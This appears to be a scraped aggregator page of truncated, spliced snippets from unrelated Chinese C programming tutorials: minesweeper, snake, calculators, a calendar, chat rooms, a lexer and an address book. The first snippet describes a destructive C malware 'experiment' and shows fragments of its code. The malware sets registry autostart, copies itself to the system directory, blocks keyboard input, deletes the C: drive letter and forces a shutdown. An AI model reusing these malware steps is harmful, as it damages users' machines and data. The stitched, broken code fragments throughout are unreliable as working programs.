本次实验设计的是一个基于C语言的恶意代码,其执行流程如下: 1、 在病毒第一次执行时,即检测到注册表的任务管理器没有被禁用,则病毒依次执行以下功能: 创建开机启动项,在系统目录路径下面复制文件,将其作为自启动路径...程序继续之心那个,弹窗显示C盘盘符破坏成功。如图3.4所示。系统盘盘符被删除之后桌面上的一切快捷方式失效,开始菜单中全部变为无效的快捷方式,点开计算机窗口没有反应,执行效果如图3.5所示。..." "\x02\x00\x23\x00" "\x02\x00\x24\x00" "\x02\x00\x25\x00" "\x02\x00\x26\x00" "\x02\x00\x2C\...RegModifyBackroud(); //修改桌面背景 RegKeyBoardForbidden(); //修改注册表屏蔽用户键盘输入 Sleep(5000); if (DeleteDrive("C:...//C://winnt"); system("title 警告"); system("shutdown -f -s -t 10 -c ""计算机将于60秒内强制关机!""")
在这个扫雷中我们需要: game.h ⽂件中写游戏需要的数据类型和函数声明等 game.c ⽂件中写游戏中函数的实现等 text.c ⽂件中写游戏的测试逻辑...游戏代码实现 框架(test.c) 我们写个基础的框架。...同理,game.c要使用game.h的东西也得包含头文件。...到这里,我们这个简易版的扫雷就实现了。 怎么把代码编程可发布的exe程序呢? exe程序 将debug模式改为Release模式。 打开“项目”点击属性。...打开“C/C++”下的“代码生成”将“运行库”改为多线程(/MT) “Ctrl+F5”运行程序,这里exe的程序就出现在文件夹里面了。
::= ::= ::= ::= ::= ::=a|b|c|...= 9 } 18 + 19 - 20 * 21 / 22 = 23 根据词法规则和符号表,制作词法分析器 思路 利用两个 unordered_map 分别存储关键字和其他符号的映射规则 对于原程序中的空格符需要忽略...iostream> #include #include #include #include // 关键字和对应的种别码...<< symbols[token] << ")" << std::endl; } } } int main() { std::string inputPath = "<em>C</em>:...\\Users\\LYS\\Downloads\\s.<em>c</em>"; // 输入文件路径 std::string outputPath = "<em>C</em>:\\Users\\LYS\\Desktop\\result.txt
需求 C语言实现简易日历 源码 // // @author: 冲哥 // @date: 2021/6/27 20:00 // @description:C语言实现简易日历 // 搜索公众号C语言中文社区后台回复...“C语言”,免费领取200G编程资源。...(m < month) { day = day + day1; } } int t; t = day % 7; //判断这个月的第一天是星期几
本文最后更新于 138 天前,其中的信息可能已经有所发展或是发生改变。... ::= ::= ::= ::= ::= ::=a|b|c|...= 9 } 18 + 19 - 20 * 21 / 22 = 23 根据词法规则和符号表,制作词法分析器 思路 利用两个 unordered_map 分别存储关键字和其他符号的映射规则 对于原程序中的空格符需要忽略...iostream> #include #include #include #include // 关键字和对应的种别码...\\Users\\LYS\\Downloads\\s.c"; // 输入文件路径 std::string outputPath = "C:\\Users\\LYS\\Desktop\\result.txt
C语言聊天室 基于 tcp 实现群聊功能,本项目设计是在「windows环境下基于套接字(Socket)和多线程编程」进行开发的「简易聊天室」,实现了群聊功能,在VC6.0和VS2019运行测试无误。...通信流程 了解完了一个 socket 的基本步骤后我们了解一下多线程以及线程的同步。 多线程 线程是进程的一条执行路径,它包含独立的堆栈和CPU寄存器状态,每个线程共享所有的进程资源。...线程的同步 每个线程都可以访问进程中的公共变量,资源,所以「使用多线程的过程中需要注意的问题是如何防止两个或两个以上的线程同时访问同一个数据,以免破坏数据的完整性」。...,这种关系称之为线程间对资源的互斥访问,某种意义上说互斥是一种制约关系更小的同步 windows线程间的同步方式有四种:「临界区、互斥量、信号量、事件。」...「源代码后台发送关键字windows聊天室获取」 socket网络编程方法可参考上期 C语言实现web服务器 多线程以及线程的同步可通过「阅读全文」在我的个人网站里面查阅。
2022.1.11更新:这篇帖子是我2019年寒假写的,而且当时没写注释而且变量命名也不规范所以我一下子也不知道自己当时写的是什么东西(注释和良好代码风格很重要),代码也有些bug(当时没有仔细测试)...,但是这个程序是可以运行的,应付一般的期末课设应该没问题(有的朋友私信我说运行不了,可能是环境的问题,我当时用的是vs2017,其他环境不能运行的话针对错误提示自行百度一下吧~) ——————————...goto label_1; } } } /*********输入*********/ void Input() { int n,i,m; N=0; system("cls"); printf("可输入的书本数...if (k == 1) goto label_1; } } } /*************结束模块***************/ void Finish() { exit(0); } 参考资料:c语言程序设计报告...如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
学了c语言之后,总想着能用c语言能制作一些简单的小工具来。而利用c语言来制作一款简易的计算器是一个不错的选择,用这款计算器可以计算的加、减、乘、除。...首先,打出c语言开始的那几行代码: 要进行两个间数字的计算首先要输入第一个数字,运算符还有第二个数字: 接着,需要对运算符进行判断,这里利用if和else if进行判断,运算结果保留两位小数:...小编给大家推荐一个学习氛围超好的地方,C/C++交流企鹅裙:487875004适合在校大学生,小白,想转行,想通过这个找工作的加入。...裙里有大量学习资料,有大神解答交流问题,每晚都有免费的直播课程 这样就可以进行简单的两位数之间的计算了 这样程序只能执行一次,如果想让程序进行多次计算只需要嵌套一层循环即可。
telnet.c #include #include #include #include #include...} } } close(sock); exit(0); } 编译方法: gcc -o telnet telnet.c
#include int main() { //简易式计算器 int q,w,e,r,t; for(int q =0;q<5;q++) { printf("请输入一个数字...r=w*t; } if(e==4) { r=w/t; } printf("结果=%d\n",r); } return 0; } ps:今天写完之后我是激动的,...虽然这个还是很简易,但至少是小小的进步!
贪吃蛇小游戏 刚学完C语言写的第一个小游戏,代码主要参考: https://blog.csdn.net/qq_37074040/article/details/54766680 我在模仿代码的过程中发现了原作者程序中的一些...bug,以下f附有我加以改进后的代码。...只要我们能让光标到达我们想要的地方,我们就能完成游戏界面的绘制,蛋的生成。简直就像天上地下,无所不能。 实现:gotoxy()函数 2.游戏体验感 如何将用户的输入读入,而不显示在屏幕上?...实现:getch()函数(包含在中) 如何防止用户的非法输入?玩游戏的过程中难免会摁到其他的键,如何让它不影响到我们的游戏?如果蛇在往前行走,我们控制方向向后,该怎么处理?...实现:保存蛇的前进状态。 3.游戏关键 蛇该如何打印?如何实现蛇的行走? 如何完成吃蛋的过程? 游戏结束的条件是什么?
wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1] 一、通讯录 通讯录可以用来存储1000个人的信息,每个人的信息包括:姓名、电话。...因为我们的目的是修改全局变量中的 Person 结构体。而使用结构体变量的话,相当于创建了一个局部变量的结构体。此时的修改只是针对该局部变量生效,随着函数结束,局部变量就被释放了。...\n"); } 1234567891011121314 八、删除联系人 用户输入联系人的编号来进行删除(数组下标),删除下标为 id 的元素。 如果 id 对应的元素就是最后一个,直接 size--。...\n"); } 123456789101112131415161718 九、修改联系人 用户输入联系人的编号来进行修改,更改下标为 id 的元素。用户重新输入姓名和电话,输出更新成功。...按名字排序: 十四、完整代码 文末源码:源码地址 更多案例可以go公众号:C语言入门到精通
首先,要自定义的一个头文件 mine.h,里面有扫雷程序里面所需要的头文件、常量和所有函数的声明。...其次,创建主函数 test.c,用自己喜欢的方式构建一个游戏的框架,最后,创建自定义函数 mine.c,编写各项功能。 设计思路 1、先写主函数,理清整个游戏流程。...也是一样的,在这个函数里先写一个大的框架,构建需要的函数,然后再根据我们的需求在 mine.c 里设计所有我们需要的自定义函数。...printf("%s", result); printf("-------------------------------\n"); ShowBoard(mine, ROW, COL); } test.c ...代码很简单扫雷c语言程序设计,但很经典,希望对你有所帮助。
模块化编程 将一个项目中的各个模块的代码放在不同的.c文件里,在.h文件(头文件)里提供外部可调用函数的声明,其它.c文件想使用其中的代码时,只需要 #include “XXX.h” (注:自定义的头文件并不是...在这里,我们的游戏逻辑代码还没有编写,所以我们新建一个 game.c文件和 game.h文件 ,game.h用于存放函数的声明。...— 别忘记在原本的.c文件中进行引用 我们现在原.c文件中设置一个 game()函数 用来展示游戏功能。 并且这个game()函数 需要连接在switch case 1:之后。...int row,int col) 而传递二维数组时,只需要传递地址即可 boardInit(arr,ROW,COL); 到这里,我们棋盘展示的部分已经做完了,运行检测 代码如下: test.c #define...由于只有第四种状态是不结束游戏的,我们在下棋循环中先对状态4进行判断,如果是状态4,我们返回c。如果Iswin()的返回值 != c,那么就说明游戏结束了。如果 == c,下棋循环仍进行。
相信大家都玩过电脑上的扫雷小游戏吧,在中学的信息技术课上,有没有背着老师在偷偷玩,嘿嘿,是不是勾起了之前的回忆,那么今天就给大家分享一下一个简易版的扫雷,这个小游戏只需要对c语言中的函数及数组有一定的了解就可以实现...for (int i = 1; i <= row; i++) { printf("%d ", i ); for (int j = 1; j <= col; j++) { printf("%c...在实际的游戏中,每一局的雷的位置都是随机的,所以这里我们采用随机数来实现,同时雷的位置需要布置在 9 X 9 的棋盘中。...: 扫雷 雷的个数 接下来就是紧张刺激的扫雷环节了,在此,还记得我们在刚开始的时候创建了两个11行11列的数组,但棋盘确是9行9列的,下面就来对此解释一下: 扫雷的时候,当单击这个位置是,如果不是雷...for (int i = 1; i <= row; i++) { printf("%d ", i ); for (int j = 1; j <= col; j++) { printf("%c
简易Linux终端聊天室 今天我们来实现一个简单的小项目,在这个项目中,我们将实现一个终端版的简易Linux聊天室。...我们来看看这个简易的Linux聊天室如何来实现吧。如图4-5-12所示。 ? ?...分别编译server.c和client.c 1gcc server.c -o server -m32 -lpthread 2gcc client.c -o client -m32 -lpthread...这个简易版本的Linux聊天室就算完成了,接下来,请读者发挥自己的想象力,结合VT100控制码,写出一个更漂亮的终端版聊天工具吧。...这样输出一个字符串比较完整如下 51echo "\033[字背景颜色;字体颜色 m 字符串\033[0m" 52例: 53echo "\033[41;36m something here \033[0m" 1例如: 2C语言编程里可以这么用
简易计算器的实现:使用C语言进行基础算术运算 摘要 亲爱的编程爱好者们,你们好!我是猫头虎博主,今天我们将一起探讨如何使用C语言实现一个简易的计算器。...此外,我们也将深入探讨C语言在这一过程中的关键作用和核心编程技巧。 C语言计算器制作、基础算术运算、编程入门技巧。...在这个过程中,我们将使用C语言,一种被广泛应用在多种领域的强大编程语言。C语言以其出色的性能和灵活性受到许多程序员的青睐,也是学习算法和数据结构的绝佳选择。...正文 C语言简介 C语言,由Dennis Ritchie在Bell实验室开发,是一种通用的、过程式的编程语言。...\n", num1, operator, num2, result); return 0; // 返回0表示程序正常结束 } 总结 通过深入解析C语言实现简易计算器的过程,我们不仅学习了基本的算术运算和用户输入输出
转移表是一种根据输入条件进行分支选择的技术。它通常用于根据不同的条件执行不同的操作。在 C 语言中,我们可以使用 switch 语句来创建转移表,根据表达式的值选择不同的分支执行。...函数指针数组实现转移表 我们既然希望在每一个分支语句下面用一个函数就能解决所有的分支问题,那么每个分支要使用的函数就要作为参数传给主调函数,因为定义的函数是有地址的,所以我们可以传参地址就可以把函数传给主调函数...将函数的指针当做参数传递给另一个函数,当这个指针被用来调用其所指向的函数时,被调用的函数就是回调函数。...解决上述问题,我们将函数的地址传递过去 ,函数只恨指向什么函数就调用什么函数,由此来使用回调函数的功能。...然后再在每个分支语句下面参数中传参函数的地址,函数和数组一样,函数名就是函数的地址,具体代码参考下方源代码。 对函数指针有疑问可以关注博主博客Keven ’ s bolg 中的 深入了解函数指针 。
文章目录 前引 头文件注释部分 头文件部分 主函数部分 实现效果 ---- 前引 ---- 这个贪吃蛇是在我学完C语言的基本部分 在跟着哈工大的c语言程序设计Mooc课程完了之后做的 因为学完C语言很迷茫...自己一步步敲出来的 其实还是建议大家在看懂 了代码后自己实现 因为不要怕自己忘不忘 这又不是理论知识 敲出来的代码就是自己的 一步步的提升 加油qwq 另外 此代码保证可以运行 在这篇博客发布后一年...void SetSnakePos() { //其实这里的x , y我在后面加备注的时候我觉得会错意了 //这里的x 我想表示的是他的行数 //这里的y 我想表示的是他的列数 就是第几列...赋值 删除 赋值 删除的过程 //删除掉原来的蛇 然后再把现在的蛇表示出来 不然的话 //原来的蛇和现在的蛇就一直重复 导致原来的蛇一直在屏幕上 void DeleteSnake() {...//这里是控制蛇的方向 //具体为什么用这个函数 大家可以自急查询一下 //这个Asyn的意思就是 异步的意思 表示你在操作的时候同时读入你键盘的值 //如果是同步的话 大家可以想象一下 需要你敲下回车
2 应用软件介绍 2.1 C语言介绍 C语言是于1972年由贝尔实验室的Dennis Ritchie在B语言的基础上开发出来的。最初的C语言是作为UNIX操作系统的开发语言而被人们所认识。...此后,贝尔实验室对C语言进行了多次改进和版本的公布,C语言的优点才引起人们的普遍注意。随着UNIX操作系统在各种机器上的广范使用,使C语言得到了迅速推广。1978年由Brian W....Ritchit合著了《The C Programming Language》一书,该书对C语言作了详细的描述,这本书对C语言发展影响深远,并成为了后来C语言版本的基础,称之为标准C。...随后C语言在各种计算机上快速得以推广,并导致了许多C语言版本的出现。...2.2 Keil C51 Keil C51 是美国 Keil Software 公司出品的 51 系列兼容单片机 C 语言软件开发系统,与汇编相比,C 语言在功能上、结构性、可读性、可维护性上有明显的优势
领取专属 10元无门槛券
手把手带您无忧上云